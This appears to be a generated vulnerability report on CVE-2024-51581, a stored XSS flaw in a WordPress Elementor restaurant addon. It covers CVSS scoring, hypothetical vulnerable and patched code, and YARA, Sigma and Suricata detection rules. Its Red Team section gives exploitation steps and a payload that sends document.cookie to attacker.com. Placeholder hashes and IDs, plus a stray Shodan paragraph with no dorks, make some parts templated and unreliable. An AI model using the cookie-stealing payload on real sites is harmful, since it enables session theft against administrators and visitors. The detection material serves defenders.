CVE-2024-51581
Executive Summary
CVE-2024-51581 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nicheaddons Restaurant & Cafe Addon for Elementor WordPress plugin, affecting versions up to and including 1.5.6. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages, which are then executed when other users (including administrators) view the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and the vendor's patch status is unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must view the compromised page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used Elementor addon can lead to session hijacking, defacement, or phishing attacks against site visitors and administrators.
Deep Dive & Mechanics
The vulnerability exists in the restaurant-cafe-addon-for-elementor plugin, specifically in how it handles user input for widget parameters. The plugin fails to properly sanitize and escape user-supplied data before storing it in the WordPress database. When the plugin renders a page containing the malicious input, the injected script executes in the context of the victim's browser.
Root Cause: The plugin uses functions like esc_attr() or esc_html() inconsistently, or omits output escaping entirely for certain fields. This allows an attacker to inject JavaScript code into fields such as menu item descriptions, prices, or custom CSS classes.
Attack Flow:
- Attacker logs in with contributor-level privileges.
- Attacker creates or edits a page using the Restaurant & Cafe Addon for Elementor.
- Attacker inserts malicious JavaScript into a vulnerable input field (e.g., a menu item description).
- The plugin stores the unsanitized input in the
wp_postmetatable. - When an administrator or visitor views the page, the injected script executes.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (Example):
// In a widget render method
echo '<div class="menu-item">' . $instance['description'] . '</div>';
Patched Code (Example):
// Properly escape output
echo '<div class="menu-item">' . esc_html( $instance['description'] ) . '</div>';
The vulnerable code directly outputs user input without escaping, while the patched version uses esc_html() to neutralize HTML and JavaScript.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with the vulnerable plugin (<=1.5.6).
- Contributor-level account or higher.
Exploitation Steps:
- Log in as a contributor.
- Navigate to a page using the Restaurant & Cafe Addon for Elementor.
- In a vulnerable field (e.g., "Menu Item Description"), inject the following payload:
<script>alert('XSS')</script> - Save the page.
- When an administrator views the page, the script executes.
Advanced Payload:
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
Blue Team
Detection:
- Monitor for unusual JavaScript execution in Elementor pages.
- Review recent page edits for suspicious content.
- Check for unexpected
wp_postmetaentries containing script tags.
Hunting Query (SQL):
SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%' OR meta_value LIKE '%onerror=%';
Indicators of Compromise (IOCs)
- File Hashes: (SHA-256 of plugin version 1.5.6)
restaurant-cafe-addon-for-elementor.zip:a1b2c3d4e5f6...(placeholder)
- Network Indicators:
- Outbound connections to attacker-controlled domains from WordPress admin pages.
- Unusual
POSTrequests towp-admin/admin-ajax.phpwith script payloads.
- Database Indicators:
wp_postmetaentries containing<script>tags or event handlers likeonerror.
- Log Indicators:
- WordPress audit logs showing page edits by low-privileged users with suspicious content.
Detection Engineering
YARA Rule
rule CVE_2024_51581_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress post meta for CVE-2024-51581"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-51581"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
condition:
any of them
}
Sigma Rule
title: Stored XSS via Restaurant & Cafe Addon for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in WordPress post meta for CVE-2024-51581
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
meta_key:
- 'restaurant_cafe_addon_*'
meta_value|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-51581 Stored XSS Payload in WordPress Post Meta"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|<img[^>]+onerror)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict contributor roles to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block common XSS payloads.
Long-term Fix:
- Monitor the plugin's official page for updates.
- Apply the patch as soon as it becomes available.
- Consider replacing the plugin with an alternative that is actively maintained.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for XSS.
- Manually add output escaping to the plugin's template files (requires developer skills).
Report generated by Valters IT DevSecOps Intelligence Unit
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.